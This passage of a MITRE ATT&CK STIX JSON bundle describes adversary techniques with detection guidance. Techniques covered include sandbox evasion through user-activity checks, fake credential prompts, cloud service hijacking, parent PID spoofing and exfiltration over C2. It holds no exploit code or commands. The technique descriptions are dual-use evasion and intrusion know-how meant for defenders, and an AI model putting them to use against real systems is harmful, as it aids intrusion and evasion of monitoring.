                    "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/"
                },
                {
                    "source_name": "Sans Virtual Jan 2016",
                    "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.",
                    "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667"
                },
                {
                    "source_name": "Deloitte Environment Awareness",
                    "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
                    "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:51.123Z",
            "name": "User Activity Based Checks",
            "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Deloitte Threat Library Team"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1141",
                    "external_id": "T1141"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/569.html",
                    "external_id": "CAPEC-569"
                },
                {
                    "source_name": "OSX Malware Exploits MacKeeper",
                    "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.",
                    "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"
                },
                {
                    "source_name": "LogRhythm Do You Trust Oct 2014",
                    "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.",
                    "url": "https://logrhythm.com/blog/do-you-trust-your-computer/"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                },
                {
                    "source_name": "Enigma Phishing for Credentials Jan 2015",
                    "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.",
                    "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:52.647Z",
            "name": "Input Prompt",
            "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matthew Molyett, @s1air, Cisco Talos"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor process execution for unusual programs as well as malicious instances of [Scripting](https://attack.mitre.org/techniques/T1064) that could be used to prompt users for credentials.\n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "2.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--924d273c-be0d-4d8d-af58-2dddb15ef1e2",
            "created": "2024-09-25T14:05:59.910Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1496/004",
                    "external_id": "T1496.004"
                },
                {
                    "source_name": "SentinelLabs SNS Sender 2024",
                    "description": "Alex Delamotte. (2024, February 15). SNS Sender | Active Campaigns Unleash Messaging Spam Through the Cloud. Retrieved September 25, 2024.",
                    "url": "https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/"
                },
                {
                    "source_name": "Invictus IR DangerDev 2024",
                    "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
                    "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
                },
                {
                    "source_name": "Lacework LLMJacking 2024",
                    "description": "Lacework Labs. (2024, June 6). Detecting AI resource-hijacking with Composite Alerts. Retrieved September 25, 2024.",
                    "url": "https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts"
                },
                {
                    "source_name": "Sysdig LLMJacking 2024",
                    "description": "LLMjacking: Stolen Cloud Credentials Used in New AI Attack. (2024, May 6). Alessandro Brucato. Retrieved September 25, 2024.",
                    "url": "https://sysdig.com/blog/llmjacking-stolen-cloud-credentials-used-in-new-ai-attack/"
                },
                {
                    "source_name": "Permiso SES Abuse 2023",
                    "description": "Nathan Eades. (2023, January 12). SES-pionage. Retrieved September 25, 2024.",
                    "url": "https://permiso.io/blog/s/aws-ses-pionage-detecting-ses-abuse/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:03:40.356Z",
            "name": "Cloud Service Hijacking",
            "description": "Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability. \n\nFor example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / [Phishing](https://attack.mitre.org/techniques/T1566) emails and SMS messages.(Citation: Invictus IR DangerDev 2024)(Citation: Permiso SES Abuse 2023)(Citation: SentinelLabs SNS Sender 2024) Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models.(Citation: Sysdig LLMJacking 2024)(Citation: Lacework LLMJacking 2024)\n\nIn some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service.(Citation: Sysdig LLMJacking 2024) Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability. ",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "SaaS"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Cloud Service: Cloud Service Modification",
                "Application Log: Application Log Content"
            ],
            "x_mitre_impact_type": [
                "Availability"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5",
            "created": "2022-05-27T14:06:05.130Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1585/003",
                    "external_id": "T1585.003"
                },
                {
                    "source_name": "Awake Security C2 Cloud",
                    "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.",
                    "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
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            "object_marking_refs": [
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            "modified": "2025-04-15T22:01:31.837Z",
            "name": "Cloud Accounts",
            "description": "Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nCreating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Francesco Bigarella"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
            "created": "2017-05-31T21:30:57.201Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1072",
                    "external_id": "T1072"
                },
                {
                    "source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation",
                    "description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
                },
                {
                    "source_name": "SpecterOps Lateral Movement from Azure to On-Prem AD 2020",
                    "description": "Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023.",
                    "url": "https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d"
                },
                {
                    "source_name": "Mitiga Security Advisory: SSM Agent as Remote Access Trojan",
                    "description": "Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.",
                    "url": "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:51.465Z",
            "name": "Software Deployment Tools",
            "description": "Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.  \n\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\n\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
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            "x_mitre_contributors": [
                "Shane Tully, @securitygypsy",
                "Joe Gumke, U.S. Bank",
                "Tamir Yehuda"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "SaaS"
            ],
            "x_mitre_version": "3.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "created": "2017-05-31T21:30:41.804Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1041",
                    "external_id": "T1041"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:51.597Z",
            "name": "Exfiltration Over C2 Channel",
            "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "William Cain"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Access",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a",
            "created": "2020-02-18T18:22:41.448Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1134/004",
                    "external_id": "T1134.004"
                },
                {
                    "source_name": "XPNSec PPID Nov 2017",
                    "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.",
                    "url": "https://blog.xpnsec.com/becoming-system/"
                },
                {
                    "source_name": "CounterCept PPID Spoofing Dec 2018",
                    "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.",
                    "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/"
                },
                {
                    "source_name": "Microsoft UAC Nov 2018",
                    "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.",
                    "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works"
                },
                {
                    "source_name": "Microsoft Process Creation Flags May 2018",
                    "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.",
                    "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags"
                },
                {
                    "source_name": "Secuirtyinbits Ataware3 May 2019",
                    "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.",
                    "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3"
                },
                {
                    "source_name": "DidierStevens SelectMyParent Nov 2009",
                    "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.",
                    "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/"
                },
                {
                    "source_name": "CTD PPID Spoofing Macro Mar 2019",
                    "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.",
                    "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:18.203Z",
            "name": "Parent PID Spoofing",
            "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Wayne Silva, F-Secure Countercept"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Process: OS API Execution",
                "Process: Process Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23",
            "created": "2020-10-02T16:27:02.339Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1591",
                    "external_id": "T1591"
                },
                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
                },
                {
                    "source_name": "SEC EDGAR Search",
                    "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved November 17, 2024.",
                    "url": "https://www.sec.gov/edgar/search/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:38:32.343Z",
            "name": "Gather Victim Org Information",
            "description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
            "created": "2017-05-31T21:30:49.988Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1060",
                    "external_id": "T1060"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/270.html",
                    "external_id": "CAPEC-270"
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                {
                    "source_name": "Microsoft Run Key",
                    "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/aa376977"
                },
                {
                    "source_name": "Microsoft RunOnceEx APR 2018",
                    "description": "Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.",
                    "url": "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key"
                },
                {
                    "source_name": "Oddvar Moe RunOnceEx Mar 2018",
                    "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
                    "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            "modified": "2025-04-25T15:15:53.310Z",
            "name": "Registry Run Keys / Startup Folder",
